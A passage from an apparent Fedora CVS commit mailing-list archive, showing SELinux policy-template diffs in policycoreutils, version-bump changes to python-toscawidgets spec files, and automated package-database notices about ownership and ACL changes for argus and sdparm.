++++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,41 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13006,9 +13006,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +semanage ports -a -t TEMPLATETYPE_port_t -p udp PORTNUM
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/tmp.py policycoreutils-2.0.64/gui/templates/tmp.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/tmp.py policycoreutils-2.0.74/gui/templates/tmp.py
 --- nsapolicycoreutils/gui/templates/tmp.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/tmp.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/tmp.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,97 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13039,9 +13039,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_rules="""
-+allow TEMPLATETYPE_t TEMPLATETYPE_tmp_t:file manage_file_perms;
-+allow TEMPLATETYPE_t TEMPLATETYPE_tmp_t:dir create_dir_perms;
-+files_tmp_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_tmp_t, { file dir })
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++files_tmp_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t, { file dir })
 +"""
 +
 +if_rules="""
@@ -13097,9 +13097,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_tmp_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_tmp_t,TEMPLATETYPE_tmp_t)
-+         manage_files_pattern($1,TEMPLATETYPE_tmp_t,TEMPLATETYPE_tmp_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_tmp_t,TEMPLATETYPE_tmp_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++         manage_files_pattern($1, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
 +')
 +"""
 +
@@ -13107,9 +13107,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +	TEMPLATETYPE_manage_tmp($1)
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/user.py policycoreutils-2.0.64/gui/templates/user.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/user.py policycoreutils-2.0.74/gui/templates/user.py
 --- nsapolicycoreutils/gui/templates/user.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/user.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/user.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,182 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13238,7 +13238,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +te_transition_rules="""
 +optional_policy(`
-+	APPLICATION_role(TEMPLATETYPE_r,TEMPLATETYPE_t)
++	APPLICATION_role(TEMPLATETYPE_r, TEMPLATETYPE_t)
 +')
 +"""
 +
@@ -13282,7 +13282,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +te_admin_domain_rules="""
 +optional_policy(`
-+	APPLICATION_admin(TEMPLATETYPE_t,TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
++	APPLICATION_admin(TEMPLATETYPE_t, TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
 +')
 +"""
 +
@@ -13291,11 +13291,11 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_newrole_rules="""
-+seutil_run_newrole(TEMPLATETYPE_t,TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
++seutil_run_newrole(TEMPLATETYPE_t, TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_lib.py policycoreutils-2.0.64/gui/templates/var_lib.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_lib.py policycoreutils-2.0.74/gui/templates/var_lib.py
 --- nsapolicycoreutils/gui/templates/var_lib.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/var_lib.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_lib.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,158 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13333,7 +13333,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +te_stream_rules="""\
 +allow TEMPLATETYPE_t TEMPLATETYPE_var_lib_t:sock_file manage_sock_file_perms;
-+files_var_lib_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_var_lib_t, sock_file)
++files_var_lib_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_var_lib_t, sock_file)
 +"""
 +
 +
@@ -13412,9 +13412,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_var_lib_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_var_lib_t,TEMPLATETYPE_var_lib_t)
-+         manage_files_pattern($1,TEMPLATETYPE_var_lib_t,TEMPLATETYPE_var_lib_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_var_lib_t,TEMPLATETYPE_var_lib_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_var_lib_t, TEMPLATETYPE_var_lib_t)
++         manage_files_pattern($1, TEMPLATETYPE_var_lib_t, TEMPLATETYPE_var_lib_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_var_lib_t, TEMPLATETYPE_var_lib_t)
 +')
 +
 +"""
@@ -13455,9 +13455,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""\
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_var_lib_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_log.py policycoreutils-2.0.64/gui/templates/var_log.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_log.py policycoreutils-2.0.74/gui/templates/var_log.py
 --- nsapolicycoreutils/gui/templates/var_log.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/var_log.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_log.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,110 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13551,9 +13551,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_log_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_log_t,TEMPLATETYPE_log_t)
-+         manage_files_pattern($1,TEMPLATETYPE_log_t,TEMPLATETYPE_log_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_log_t,TEMPLATETYPE_log_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_log_t, TEMPLATETYPE_log_t)
++         manage_files_pattern($1, TEMPLATETYPE_log_t, TEMPLATETYPE_log_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_log_t, TEMPLATETYPE_log_t)
 +')
 +"""
 +
@@ -13569,9 +13569,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""\
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_log_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_run.py policycoreutils-2.0.64/gui/templates/var_run.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_run.py policycoreutils-2.0.74/gui/templates/var_run.py
 --- nsapolicycoreutils/gui/templates/var_run.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/var_run.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_run.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,118 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13604,12 +13604,12 @@ diff --exclude-from=exclude -N -u -r nsa
 +te_rules="""
 +manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t,  TEMPLATETYPE_var_run_t)
 +manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t,  TEMPLATETYPE_var_run_t)
-+files_pid_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_var_run_t, { file dir })
++files_pid_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t, { file dir })
 +"""
 +
 +te_stream_rules="""
 +allow TEMPLATETYPE_t TEMPLATETYPE_var_run_t:sock_file manage_sock_file_perms;
-+files_pid_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_var_run_t, sock_file)
++files_pid_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t, sock_file)
 +"""
 +
 +if_rules="""
@@ -13647,9 +13647,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_var_run_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_var_run_t,TEMPLATETYPE_var_run_t)
-+         manage_files_pattern($1,TEMPLATETYPE_var_run_t,TEMPLATETYPE_var_run_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_var_run_t,TEMPLATETYPE_var_run_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_var_run_t, TEMPLATETYPE_var_run_t)
++         manage_files_pattern($1, TEMPLATETYPE_var_run_t, TEMPLATETYPE_var_run_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_var_run_t, TEMPLATETYPE_var_run_t)
 +')
 +
 +"""
@@ -13691,9 +13691,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_var_run_t,s0)
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_spool.py policycoreutils-2.0.64/gui/templates/var_spool.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_spool.py policycoreutils-2.0.74/gui/templates/var_spool.py
 --- nsapolicycoreutils/gui/templates/var_spool.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/templates/var_spool.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_spool.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13724,10 +13724,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +files_type(TEMPLATETYPE_spool_t)
 +"""
 +te_rules="""
-+allow TEMPLATETYPE_t TEMPLATETYPE_spool_t:dir manage_dir_perms;
-+allow TEMPLATETYPE_t TEMPLATETYPE_spool_t:file manage_file_perms;
-+allow TEMPLATETYPE_t TEMPLATETYPE_spool_t:sock_file manage_sock_file_perms;
-+files_spool_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_spool_t, { file dir sock_file })
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++manage_lnk_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++files_spool_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, { file dir sock_file })
 +"""
 +
 +########################### Interface File #############################
@@ -13787,7 +13787,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +	')
 +
 +	files_search_spool($1)
-+        manage_files_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
++        manage_files_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
 +')
 +
 +########################################
@@ -13805,9 +13805,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_spool_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
-+         manage_files_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++         manage_files_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
 +')
 +
 +"""
@@ -13824,9 +13824,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""\
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_spool_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/translationsPage.py policycoreutils-2.0.64/gui/translationsPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/translationsPage.py policycoreutils-2.0.74/gui/translationsPage.py
 --- nsapolicycoreutils/gui/translationsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/translationsPage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/translationsPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,118 @@
 +## translationsPage.py - show selinux translations
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -13946,9 +13946,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        store, iter = self.view.get_selection().get_selected()
 +        self.store.set_value(iter, 0, level)
 +        self.store.set_value(iter, 1, translation)
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/usersPage.py policycoreutils-2.0.64/gui/usersPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/usersPage.py policycoreutils-2.0.74/gui/usersPage.py
 --- nsapolicycoreutils/gui/usersPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.64/gui/usersPage.py	2009-06-23 16:24:31.000000000 -0400
++++ policycoreutils-2.0.74/gui/usersPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,150 @@
 +## usersPage.py - show selinux mappings
 +## Copyright (C) 2006,2007,2008 Red Hat, Inc.


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-11/policycoreutils.spec,v
retrieving revision 1.621
retrieving revision 1.622
diff -u -p -r1.621 -r1.622
--- policycoreutils.spec	25 Sep 2009 03:09:52 -0000	1.621
+++ policycoreutils.spec	1 Oct 2009 16:10:24 -0000	1.622
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.62
-Release: 12.14%{?dist}
+Release: 12.15%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -225,6 +225,9 @@ else
 fi
 
 %changelog
+* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.62-12.15
+- Update to Rawhides system-config-selinux/polgengui
+
 * Thu Sep 24 2009 Dan Walsh <dwalsh at redhat.com> 2.0.62-12.14
 - Fix tight loop in restorecond patch from Martin Orr
 



From lmacken at fedoraproject.org  Thu Oct  1 16:18:45 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 16:18:45 +0000 (UTC)
Subject: rpms/python-toscawidgets/F-11 .cvsignore, 1.8,
	1.9 python-toscawidgets.spec, 1.10, 1.11 sources, 1.8, 1.9
Message-ID: <20091001161845.42FDF11C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-toscawidgets/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10401

Modified Files:
	.cvsignore python-toscawidgets.spec sources 
Log Message:
0.9.8 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/F-11/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	7 Jan 2009 05:35:30 -0000	1.8
+++ .cvsignore	1 Oct 2009 16:18:44 -0000	1.9
@@ -1 +1 @@
-ToscaWidgets-0.9.4.tar.gz
+ToscaWidgets-0.9.8.tar.gz


Index: python-toscawidgets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/F-11/python-toscawidgets.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- python-toscawidgets.spec	26 Feb 2009 23:45:39 -0000	1.10
+++ python-toscawidgets.spec	1 Oct 2009 16:18:45 -0000	1.11
@@ -1,11 +1,11 @@
 # sitelib for noarch packages, sitearch for others (remove the unneeded one)
-%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
-%define srcname ToscaWidgets
+%global srcname ToscaWidgets
 
 Name:           python-toscawidgets
-Version:        0.9.4
-Release:        2%{?dist}
+Version:        0.9.8
+Release:        1%{?dist}
 Summary:        Toolkit to help create widgets for WSGI web apps
 Group:          Development/Languages
 License:        MIT
@@ -56,6 +56,37 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-1
+- 0.9.8 release
+- Remove js patch which is now upstream
+
+* Thu Aug 27 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.4.dev20090825
+- Apply a patch from http://toscawidgets.org/trac/tw/ticket/30
+  to fix problems with encoding javascript methods.
+
+* Tue Aug 25 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.3.dev20090825
+- Update to the latest mercurial snapshot, which fixes the python 2.4
+  incompatibilites.
+
+* Mon Aug 24 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.2.dev20090822
+- Add a couple of patches to get things working on Python2.4
+
+* Sat Aug 22 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.1.dev20090822
+- Update to a 0.9.8 development snapshot
+
+* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
+- 0.9.7.2
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.7.1-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jun 27 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.1-1
+- 0.9.7.1
+- s/define/global/
+
+* Thu Jun 04 2009 Luke Macken <lmacken at redhat.com> - 0.9.6-1
+- Update to 0.9.6
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	7 Jan 2009 05:35:30 -0000	1.8
+++ sources	1 Oct 2009 16:18:45 -0000	1.9
@@ -1 +1 @@
-b0816c432869eae996b3e33fd2bbf4a0  ToscaWidgets-0.9.4.tar.gz
+b862d639102242fa6893f2677864d5b1  ToscaWidgets-0.9.8.tar.gz



From lmacken at fedoraproject.org  Thu Oct  1 16:22:24 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu,  1 Oct 2009 16:22:24 +0000 (UTC)
Subject: rpms/python-toscawidgets/EL-5 .cvsignore, 1.5,
	1.6 python-toscawidgets.spec, 1.4, 1.5 sources, 1.5, 1.6
Message-ID: <20091001162224.DA49A11C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-toscawidgets/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10958

Modified Files:
	.cvsignore python-toscawidgets.spec sources 
Log Message:
0.9.8 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/EL-5/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	23 Oct 2008 22:08:33 -0000	1.5
+++ .cvsignore	1 Oct 2009 16:22:24 -0000	1.6
@@ -1 +1 @@
-ToscaWidgets-0.9.3.tar.gz
+ToscaWidgets-0.9.8.tar.gz


Index: python-toscawidgets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/EL-5/python-toscawidgets.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- python-toscawidgets.spec	23 Oct 2008 22:08:33 -0000	1.4
+++ python-toscawidgets.spec	1 Oct 2009 16:22:24 -0000	1.5
@@ -1,10 +1,10 @@
 # sitelib for noarch packages, sitearch for others (remove the unneeded one)
-%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
-%define srcname ToscaWidgets
+%global srcname ToscaWidgets
 
 Name:           python-toscawidgets
-Version:        0.9.3
+Version:        0.9.8
 Release:        1%{?dist}
 Summary:        Toolkit to help create widgets for WSGI web apps
 Group:          Development/Languages
@@ -56,6 +56,46 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-1
+- 0.9.8 release
+- Remove js patch which is now upstream
+
+* Thu Aug 27 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.4.dev20090825
+- Apply a patch from http://toscawidgets.org/trac/tw/ticket/30
+  to fix problems with encoding javascript methods.
+
+* Tue Aug 25 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.3.dev20090825
+- Update to the latest mercurial snapshot, which fixes the python 2.4
+  incompatibilites.
+
+* Mon Aug 24 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.2.dev20090822
+- Add a couple of patches to get things working on Python2.4
+
+* Sat Aug 22 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-0.1.dev20090822
+- Update to a 0.9.8 development snapshot
+
+* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
+- 0.9.7.2
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.7.1-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jun 27 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.1-1
+- 0.9.7.1
+- s/define/global/
+
+* Thu Jun 04 2009 Luke Macken <lmacken at redhat.com> - 0.9.6-1
+- Update to 0.9.6
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.4-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Tue Jan 06 2009 Luke Macken <lmacken at redhat.com> - 0.9.4-1
+- Update to 0.9.4
+
+* Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 0.9.3-2
+- Rebuild for Python 2.6
+
 * Tue Aug 26 2008 Toshio Kuratomi <toshio at fedoraproject.org> - 0.9.3-1
 - New upstream.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-toscawidgets/EL-5/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	23 Oct 2008 22:08:33 -0000	1.5
+++ sources	1 Oct 2009 16:22:24 -0000	1.6
@@ -1 +1 @@
-8b7ab6572e5487cc3609b2e097fadcf3  ToscaWidgets-0.9.3.tar.gz
+b862d639102242fa6893f2677864d5b1  ToscaWidgets-0.9.8.tar.gz



From pkgdb at fedoraproject.org  Thu Oct  1 16:25:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:25:13 +0000
Subject: [pkgdb] argus ownership updated
Message-ID: <20091001162514.20B4E10F7C4@bastion2.fedora.phx.redhat.com>

Package argus in Fedora devel is now owned by hpejakle

To make changes to this package see:
  /pkgdb/packages/name/argus



From pkgdb at fedoraproject.org  Thu Oct  1 16:25:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:25:23 +0000
Subject: [pkgdb] argus ownership updated
Message-ID: <20091001162522.F37C410F7C4@bastion2.fedora.phx.redhat.com>

Package argus in Fedora 10 is now owned by hpejakle

To make changes to this package see:
  /pkgdb/packages/name/argus



From pkgdb at fedoraproject.org  Thu Oct  1 16:26:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:26:28 +0000
Subject: [pkgdb] argus ownership updated
Message-ID: <20091001162628.AB54C10F7C4@bastion2.fedora.phx.redhat.com>

Package argus in Fedora 11 is now owned by hpejakle

To make changes to this package see:
  /pkgdb/packages/name/argus



From pkgdb at fedoraproject.org  Thu Oct  1 16:26:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:26:31 +0000
Subject: [pkgdb] argus ownership updated
Message-ID: <20091001162631.5447410F800@bastion2.fedora.phx.redhat.com>

Package argus in Fedora 12 is now owned by hpejakle

To make changes to this package see:
  /pkgdb/packages/name/argus



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:03 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162703.A0EF510F800@bastion2.fedora.phx.redhat.com>

terjeros has set the watchbugzilla acl on sdparm (Fedora devel) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:06 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162706.4D6AD10F87E@bastion2.fedora.phx.redhat.com>

terjeros has set the watchcommits acl on sdparm (Fedora devel) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:08 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162708.78C9710F889@bastion2.fedora.phx.redhat.com>

terjeros has set the commit acl on sdparm (Fedora devel) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:11 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162711.8DCEE10F88B@bastion2.fedora.phx.redhat.com>

terjeros has set the approveacls acl on sdparm (Fedora devel) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:20 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162720.8B26010F800@bastion2.fedora.phx.redhat.com>

terjeros has set the watchbugzilla acl on sdparm (Fedora 11) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:22 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162722.B4FC710F87E@bastion2.fedora.phx.redhat.com>

terjeros has set the watchcommits acl on sdparm (Fedora 11) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:25 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162725.3D88410F889@bastion2.fedora.phx.redhat.com>

terjeros has set the commit acl on sdparm (Fedora 11) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:28 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162728.0DD5710F890@bastion2.fedora.phx.redhat.com>

